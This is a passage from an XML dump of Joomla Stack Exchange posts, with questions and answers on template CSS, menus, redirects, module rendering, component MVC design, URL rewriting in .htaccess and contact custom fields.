}&#xA;}&#xA;&#xA;div{&#xA;  box-sizing:border-box;&#xA;  margin: 0px 0px;&#xA;  padding:0px;&#xA;  border:0px solid #FFF555;&#xA;}&#xA;&#xA;.header, .nav, .footer{&#xA;  width:100%;&#xA;  clear:both;&#xA;}&#xA;&#xA;.main{&#xA;  margin:auto;&#xA;  width:80%;&#xA;  clear:both;&#xA;}&#xA;&#xA;.main &amp;gt; * {&#xA;  all:reset;&#xA;} &#xA;&#xA;.header {&#xA;  margin: 0px;&#xA;  padding: 0px;&#xA;  background-color:brown;&#xA;  color:#FFFFFF;&#xA;}&#xA;&#xA;.nav {&#xA;  height:51.2px;&#xA;  background-color:#FFA500;&#xA;  position: sticky;&#xA;  top: 0;&#xA;  /*display: flex;&#xA;  flex-direction: row;&#xA;  justify-content: center;&#xA;  align-content: center;*/&#xA;}&#xA;&#xA;ul.nav { //this element needs centering&#xA;  margin:auto;&#xA;  width:80%;&#xA;  list-style-type: none;&#xA;  margin: 0;&#xA;  padding: 0;&#xA;  background-color: #FFA500;&#xA;  /*flex-basis:0;&#xA;  flex: 1 1 0;&#xA;  width: 0;*/&#xA;}&#xA;&#xA;ul.nav li {&#xA;  float:left;&#xA;  display:block;&#xA;  text-align: center;&#xA;  padding: 14px 16px;&#xA;  text-decoration: none;&#xA;  border-right: 3px solid #bbb;&#xA;}&#xA;&#xA;ul.nav li:hover {&#xA;  background-color: #e09100;&#xA;}&#xA;&#xA;ul.nav li:last-child, ul.nav-child li {&#xA;  border-right: none;&#xA;}&#xA;&#xA;ul.nav li a, ul.nav-child { &#xA;  font-size: 20px;&#xA;  text-align: center;&#xA;  padding: 14px 16px;&#xA;  text-decoration: none;&#xA;}&#xA;&#xA;ul.nav-child {&#xA;  display: none;&#xA;  position: absolute;&#xA;  background-color:#FFA500;&#xA;  padding: 0px 0px;&#xA;  box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);&#xA;}&#xA;&#xA;ul.nav-child li a {&#xA;  padding: 0px 0px;&#xA;}&#xA;&#xA;ul.nav li:hover &amp;gt; ul.nav-child {&#xA;  display: block;&#xA;}&#xA;&#xA;ul.nav-child li {&#xA;  float:none;&#xA;}&#xA;&#xA;ul.nav-child a:hover {&#xA;  background-color: #e09100;&#xA;}&#xA;&#xA;.active {&#xA;  background-color: #4CAF50;&#xA;}&#xA;&#xA;.footer{&#xA;background-color:red;&#xA;color:#FFFFFF;&#xA;}&#xA;&#xA;.footer &amp;gt; * {&#xA;font-size:0.8em;&#xA;}&#xA;&#xA;.footer a{&#xA;color:#FFFFFF;&#xA;border-bottom: 1px dotted #FFFFFF;&#xA;&#xA;  */&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please advise?&lt;/p&gt;&#xA;" OwnerUserId="13711" LastActivityDate="2019-09-25T12:21:01.017" Title="Can't remove white space above and below the header" Tags="|templates|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25062" PostTypeId="2" ParentId="25061" CreationDate="2019-08-20T11:19:04.543" Score="1" Body="&lt;p&gt;The p element in the module content in the header seems to have a top margin and bottom margin associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could fix the spacing issue by changing the content of the module from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;img style=&quot;display: block; border-width: 0px; margin: 0px auto 0px auto;&quot; src=&quot;/images/logo.png&quot; width=&quot;800&quot; height=&quot;290&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;    &amp;lt;img style=&quot;display: block; border-width: 0px; margin: 0px auto 0px auto;&quot; src=&quot;/images/logo.png&quot; width=&quot;800&quot; height=&quot;290&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could add this to your CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.header p {&#xA;  margin: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-08-20T11:19:04.543" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25063" PostTypeId="1" AcceptedAnswerId="25065" CreationDate="2019-08-20T12:34:03.360" Score="1" ViewCount="384" Body="&lt;p&gt;I'm designing a custom component where I am utilising the &lt;code&gt;tmpl=component&lt;/code&gt; ability to render the component only rather than displaying the default template.&lt;br&gt;&#xA;How can I remove the unwanted css files which are creating a styling conflict, from the site's head, within the component ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this codes and insert after defined('_JEXEC') or die;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         //get the array containing all the script declarations&#xA;     $document = JFactory::getDocument(); &#xA;     $headData = $document-&amp;gt;getHeadData();&#xA;     $styles = $headData['styles'];&#xA;&#xA;     //remove your script, i.e. mootools&#xA;     unset($styles['/administrator/templates/isis/css/template-rtl.css']);&#xA;&#xA;     $headData['styles'] = $styles;&#xA;     $document-&amp;gt;setHeadData($headData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($this-&amp;gt;item-&amp;gt;_styles[JURI::root(true) . '/administrator/templates/isis/css/template-rtl.css']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but , these code not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to delete &lt;code&gt;administrator/templates/isis/css/template-rtl.css&lt;/code&gt; from custom component source and head.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Screenshot from custom component source&#xA;&lt;a href=&quot;https://i.stack.imgur.com/v4HdA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v4HdA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="126" LastEditDate="2019-09-23T07:44:37.453" LastActivityDate="2019-09-23T07:44:37.453" Title="Remove css admin template from component" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25064" PostTypeId="1" CreationDate="2019-08-20T15:59:26.063" Score="0" ViewCount="477" Body="&lt;p&gt;I am building a website in Joomla, and I'm trying to make a menu in which some menu items should not have any article associated with it; clicking on them should only reveal the sub-menu items, but the rest of the page should stay static. So, I set that parent menu item to Separator, and added some sub-menu items to it. However, for some reason, the parent menu item is not clickable, meaning that I cannot reveal the sub-menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my website: &lt;a href=&quot;http://vaterlinija.lt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vaterlinija.lt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parent menu item that has sub-menu items is the second one from the bottom (as you can see, it is non-clickable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to one of these sub-menu items to prove that they are in fact there, just for some reason not accessible through that parent menu item: &lt;a href=&quot;http://vaterlinija.lt/index.php/saltiniai/1/mediena&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vaterlinija.lt/index.php/saltiniai/1/mediena&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this? I tried using Menu Header and URL (set to #) instead, but the result is the same. The only way to make these sub-menu items to show is to set that parent menu item to something like Single Article or similar, which is precisely what I want to avoid. I am using my own template, made from scratch. Do I need to add something to CSS, maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I tried switching to the default Joomla templates, and the problem remains, so it's definitely not in my CSS.&lt;/p&gt;&#xA;" OwnerUserId="13711" LastEditorUserId="13711" LastEditDate="2019-08-20T16:13:00.853" LastActivityDate="2024-01-01T09:00:55.150" Title="Joomla 3.9: Menu item set to Separator is not clickable to reveal sub-menu items" Tags="|joomla-3.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25065" PostTypeId="2" ParentId="25063" CreationDate="2019-08-20T17:37:34.360" Score="1" Body="&lt;p&gt;You can't. The component is rendered &lt;em&gt;before&lt;/em&gt; the template is parsed. You're trying to remove assets which haven't been added yet. You would need a system plugin to remove template stylesheets.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-08-20T17:37:34.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25066" PostTypeId="1" CreationDate="2019-08-20T18:12:18.697" Score="1" ViewCount="29" Body="&lt;p&gt;I’ve renamed all joomla articles with right name URL. But I can’t do it with Redirect Joomla Component. It doesn’t redirect all renamed files: &lt;a href=&quot;https://mywebsite.com/2-uncategotised/2018-19-05-56&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mywebsite.com/2-uncategotised/2018-19-05-56&lt;/a&gt; &#xA;Plugin is switched on, other pages are well redirected ( such as “mywebsite.com/home — mywebsite.com”&#xA;I have already fixed configuration file in “live_site” but it still doesn’t work.&#xA;All the articles I have released with “category blog” cause they are too much.&#xA;I have already tried htaccess file and it works, but I don’t want to edit at all so I need to use exactly Joomla component.&#xA;I can’t fix the problem, help me please&lt;/p&gt;&#xA;" OwnerUserId="13713" LastActivityDate="2019-08-20T18:12:18.697" Title="Can’t rename indexed pages with /2-uncategorised/2018-19-05-56 by Redirect component" Tags="|redirect|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25069" PostTypeId="2" ParentId="25059" CreationDate="2019-08-21T07:40:43.020" Score="2" Body="&lt;p&gt;Joomla! 4.0 will have Web Services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 3.x, without using extensions or custom code, there's no way to do this for single articles. For article listings (category views) you could use RSS/Atom feed by accessing category view with &lt;code&gt;format=feed&lt;/code&gt; parameter appended.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-08-21T07:40:43.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25070" PostTypeId="1" CreationDate="2019-08-21T12:00:29.083" Score="0" ViewCount="108" Body="&lt;p&gt;I tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$renderer   = $document-&amp;gt;loadRenderer('modules');&#xA;$position   = 'precisions';&#xA;$options   = array('style' =&amp;gt; 'raw');&#xA;&#xA;echo $renderer-&amp;gt;render($position, $options, null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can render modules anywhere I tried in php code, but I cannot render nested modules in templates files, as I could in articles… They are printed as raw placeholder, like &lt;code&gt;'{loadposition module}'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to figure out what happens with the debugger, but seems that, at first, the nested modules is parsed, then, it is wipe out by the parent content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to get the same result than Joomla inside articles, but in templates? How can I avoid this wipe out?&lt;/p&gt;&#xA;" OwnerUserId="13691" LastActivityDate="2020-09-16T10:06:25.683" Title="How to render nested modules, (parent outside articles)" Tags="|joomla-3.x|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25071" PostTypeId="1" CreationDate="2019-08-21T17:43:31.113" Score="2" ViewCount="236" Body="&lt;p&gt;I have one model I'd like to use for two different views. This is the only model these two views will require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm subclassing &lt;code&gt;Joomla\CMS\MVC\Controller\BaseController&lt;/code&gt; and I'd like to use its &lt;code&gt;display&lt;/code&gt; method, so I can leverage the cache. The problem is the display method instantiates a model based on the requested view name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without overriding &lt;code&gt;BaseController::getModel&lt;/code&gt; or &lt;code&gt;BaseController::getName&lt;/code&gt; with some weird conditional logic, I can't see how I can have the &lt;code&gt;display&lt;/code&gt; method instantiate two different views, with different names yet instantiate the same model for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this done anywhere in the core?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2019-08-22T19:41:06.603" Title="Sharing a model between two views in a component" Tags="|mvc|view|model|controller|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="25072" PostTypeId="1" CreationDate="2019-08-22T06:59:51.947" Score="2" ViewCount="150" Body="&lt;p&gt;So I removed the &quot;index.php&quot; - part from the URL in Joomla in the following way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change the htaccess.txt - file name to .htaccess via FTP &lt;/li&gt;&#xA;&lt;li&gt;Set the URL-rewrite Option in the Joomla Configuration Options to &quot;YES&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All pages work, with the exception of the initial page of the site. &#xA;I observed this a little closer. When the initial page is typed into the browser, www.mydomain.com/en/ (for english) gets loaded and returns a 404. When I remove the trailing slash (e.g. search for www.mydomain.com/en), the initial page is perfectly displayed. Same goes for all other languages (de and fr). Anyone? Below's the content of my .htaccess-file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that disallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## No directory listings&#xA;IndexIgnore *&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_USER_AGENT} libwww-perl.* &#xA;RewriteRule .* ? [F,L]&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} (de|en|es|fr)/$&#xA;RewriteRule ^ %1 [R=301,L]&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&#xA;AddHandler php5-fastcgi .php .php5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-08-22T06:59:51.947" Title="Homepage of multilingual site not working anymore after removing index.php (404); all other sites working" Tags="|joomla-3.x|php|.htaccess-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25073" PostTypeId="1" AcceptedAnswerId="25074" CreationDate="2019-08-22T08:27:02.250" Score="2" ViewCount="3812" Body="&lt;p&gt;Joomla 3.9.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working on localhost, today I decided to rename my database from &lt;code&gt;dbtest&lt;/code&gt; to &lt;code&gt;dbnew&lt;/code&gt;. I did this using HeidiSQL &gt; rename db&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit my site I now see the following error;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: session_start(): Failed to read session data: user (path:&#xA;  C:\xampp\tmp) in&#xA;  C:\xampp\htdocs\mysite\libraries\joomla\session\handler\native.php on&#xA;  line 260 Error: Failed to start application: Failed to start the&#xA;  session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I opened &lt;code&gt;configuration.php&lt;/code&gt; and replaced all instances of &lt;code&gt;dbtest&lt;/code&gt; with 'dbnew' but same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also emptied the db sessions table, tried a different browser and restarted apache / mysql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I revert the name back to &lt;code&gt;dbtest&lt;/code&gt; and change my &lt;code&gt;configuration.php&lt;/code&gt; accordingly all works as expected. SO, what am I doing wrong, how can I change my db name correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-08-22T08:40:12.543" LastActivityDate="2020-09-23T22:57:22.407" Title="Failed to Read Session Data After Renaming DB" Tags="|joomla-3.x|database|session|error-handling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25074" PostTypeId="2" ParentId="25073" CreationDate="2019-08-22T08:52:01.927" Score="3" Body="&lt;p&gt;Found the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I renamed the database I also had to re-assign the database user to this database.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-08-22T08:52:01.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25075" PostTypeId="2" ParentId="25071" CreationDate="2019-08-22T19:41:06.603" Score="2" Body="&lt;p&gt;OK, comments are not the easiest place to talk in details (too short, too easy to misinterpret) so I'll post this here. It may be a bit wide-ranging and high-concept at first b/c of the lack of detail I'm starting out with, but bear with me and we can edit out the parts that don't fit the more concrete scenario, as it gets defined, and flesh out the parts you think might apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with outlining the first two possible approaches that come to mind. Maybe, they'll work for you, frankly I don't know because I have about 5% of the information needed to put in details; it'd be too easy to waste a lot of my time writing something that doesn't fit because of an unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Approach the First:&#xA;Use the type parameter. Joomla uses that while constructing  syndication feeds, using type to determine if the output should be the xml structure for RSS feeds or Atom feeds. I'm assuming this is coming from a custom component so in building it, you tell the system the url for it will require a type, and define the field for the menu item to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your view, you check the type parameter and create one of your two XML structures and do whatever it is you're going to need to do to get it out. Your best source of patterns for building something like this is Joomla itself. Joomla's approach to it is triggered by the &quot;format&quot; variable in the request (format=feed), and a lot of it goes through SimplePie, IIRC, so it may or may not suit your taste.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can feel free to use either &quot;format&quot; or &quot;type&quot; to pass the indicator into your view to govern its output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for menu item, whether you want to use layout, format, type, or fliedermaus as the label on the variable you send in the request to govern the view's behavior, it's all done the same way. Basic outline for it is at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_variable_request_in_the_menu_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_variable_request_in_the_menu_type&lt;/a&gt;&#xA;and it's fairly complete (the field name they use is id, but it could be anything).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Approach the Second.&#xA;Use a component and layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Right up front, let's acknowledge a great deal of confusion in the Joomla world about layouts. They are simply php files that format output. Normally they are used in the html world, because that's typically what Joomla outputs, but they don't have to be. They simply receive data from a view and select bits and pieces to wrap in whatever and ship it on. By using the layout mechanism in Joomla, you can allow for template-based overrides, so it's a bit friendlier, but that all depends upon the ultimate goal.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're defining your own structure you'll want to be bypassing much of what Joomla normally does by default, because that involves HTML. The AJAX component might be the place you want to start reading the code. If not there, you could cast your eyes on Mike Babker's PodcastManager component (&lt;a href=&quot;https://github.com/BabDev/Podcast-Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/BabDev/Podcast-Manager&lt;/a&gt;) as an example of something that ships XML formats upon receiving an http request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, you would use the component's .xml file to set up the request variable you're going to use to control the format in the menu type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I'd use the concept of layout files from within &quot;normal&quot; Joomla to have the view load the correct layout file to process the data passed into it, transforming it into whatever xml structure you desire. Whether you want to use Joomla's mechanism or just write your own at this point is primarily a matter of taste. Personally, I'd probably tap into Joomla's mechanism (you'll find the basics of it at libraries/src/Layout/FileLayout.php) because of its flexibility. You want to create a third type of XML output? Simply write that layout file, add the variable definition to the component's XML file, and you're done. The rest of your component will already know where to look for it and how to use it. If there were a reason the specific code in Joomla wouldn't work, I'd probably opt to writing my own version of it for this component, simply because of the flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an overview of two different ways to do it with one view. I &lt;em&gt;think&lt;/em&gt; either approach covers the bases (at least as far as I can tell at the moment). Let me know if there's a reason they don't, or if there's something missing, and we'll see what happens.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-22T19:41:06.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25076" PostTypeId="1" CreationDate="2019-08-23T02:25:31.340" Score="0" ViewCount="17" Body="&lt;p&gt;I am new to Joomla.  I want to setup a development environment through Visual Studio Code that allows me to go into any Joomla template location to edit/save/compile files AND automatically reload my browser to reflect my changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this process to occur for...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SASS to CSS changes, &lt;/li&gt;&#xA;&lt;li&gt;Template PHP/HTML code changes&lt;/li&gt;&#xA;&lt;li&gt;Javascript changes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this possible?  Is there a guide for me to follow to get this rocking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My desire is to spend an extensive amount of time in theming.  Having a system setup in this way will allow me to work more efficiently.&lt;/p&gt;&#xA;" OwnerUserId="13697" LastEditorUserId="12352" LastEditDate="2019-08-23T04:59:04.947" LastActivityDate="2019-08-23T04:59:04.947" Title="How can I deploy UI updates on the fly locally in my dev environment?" Tags="|joomla-3.x|templates|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25077" PostTypeId="2" ParentId="25070" CreationDate="2019-08-23T07:20:03.400" Score="1" Body="&lt;p&gt;Ok, my bad… I forgot to put this code inside &lt;code&gt;mod_xxxxx.php&lt;/code&gt;…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($params-&amp;gt;def('prepare_content', 1))&#xA;{&#xA;    PluginHelper::importPlugin('content');&#xA;    $module-&amp;gt;content = HTMLHelper::_('content.prepare', $module-&amp;gt;content, '', 'mod_xxxxx.content');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13691" LastActivityDate="2019-08-23T07:20:03.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25078" PostTypeId="1" AcceptedAnswerId="25079" CreationDate="2019-08-23T08:24:31.053" Score="1" ViewCount="63" Body="&lt;p&gt;Joomla 3.9.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an SQL custom field for my joomla contacts called &lt;code&gt;location&lt;/code&gt;, this allows me to assign a location to my contacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SQL simply selects &lt;code&gt;location_name&lt;/code&gt; from a custom db table called &lt;code&gt;locations&lt;/code&gt;. The custom field works as expected, and I am presented with a pre-populated list of locations when adding or editing a contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is, some of my contacts have &lt;strong&gt;two&lt;/strong&gt; locations. Using this default custom field only allows me to assign &lt;strong&gt;one&lt;/strong&gt; location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I probably need a tag style custom field so that when I click the input, I am presented with a list of locations and I can select one or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like the &lt;code&gt;User Groups&lt;/code&gt; field in &lt;a href=&quot;https://lh4.googleusercontent.com/YE7InInG8kz35uZq5EBt6ruGwnXWlqtwnl8uvdBDiwhONSq-sdC2etnhwa16dp94-D9P5OIlV_ttUfbFoTyTC4--3L6czUq7NC6AEjXPNEXutYqCKYmRZiFtgxgVGyipzy5pQmJb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this image&lt;/a&gt;. However instead of being able to select user groups, I need to be able to select locations from my db table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not necessary to be able to add to this list of tags from the input, just select them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, if so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions are also welcome.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2019-08-23T08:36:31.740" LastActivityDate="2020-05-19T11:04:20.370" Title="Custom Field Tag Style List" Tags="|joomla-3.x|mysql|database|custom-field|contact|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25079" PostTypeId="2" ParentId="25078" CreationDate="2019-08-23T09:02:34.577" Score="1" Body="&lt;p&gt;The answer is that it's already an option!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select &lt;strong&gt;Multiple: Yes&lt;/strong&gt; in the field options;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Multiple : if set to &quot;No&quot; the field will allow the selection of a&#xA;  single group of users, if set to &quot;Yes&quot; it will be possible to select&#xA;  multiple groups of users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-08-23T09:02:34.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25080" PostTypeId="1" CreationDate="2019-08-23T09:27:06.670" Score="3" ViewCount="121" Body="&lt;p&gt;I have created a few custom fields for my &lt;strong&gt;contacts&lt;/strong&gt;. I now want to display these contact details withinin some articles using the following format;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field 1} will display the field with the ID 1&#xA;{field 1,foo} will display the selected field using the alternative layout 'foo'.&#xA;{fieldgroup 2} will display all fields within the fieldgroup with the ID 2.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using TinyMCE editor but I can't see the 'Field' button. Example of button in this image below;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JBJRS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JBJRS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked that the plugins are enabled and cleared my cache etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I not able to add contact custom fields into an article?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-09-23T00:01:55.277" Title="Insert Contacts Custom Field In Article" Tags="|joomla-3.x|articles|custom-field|contact|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
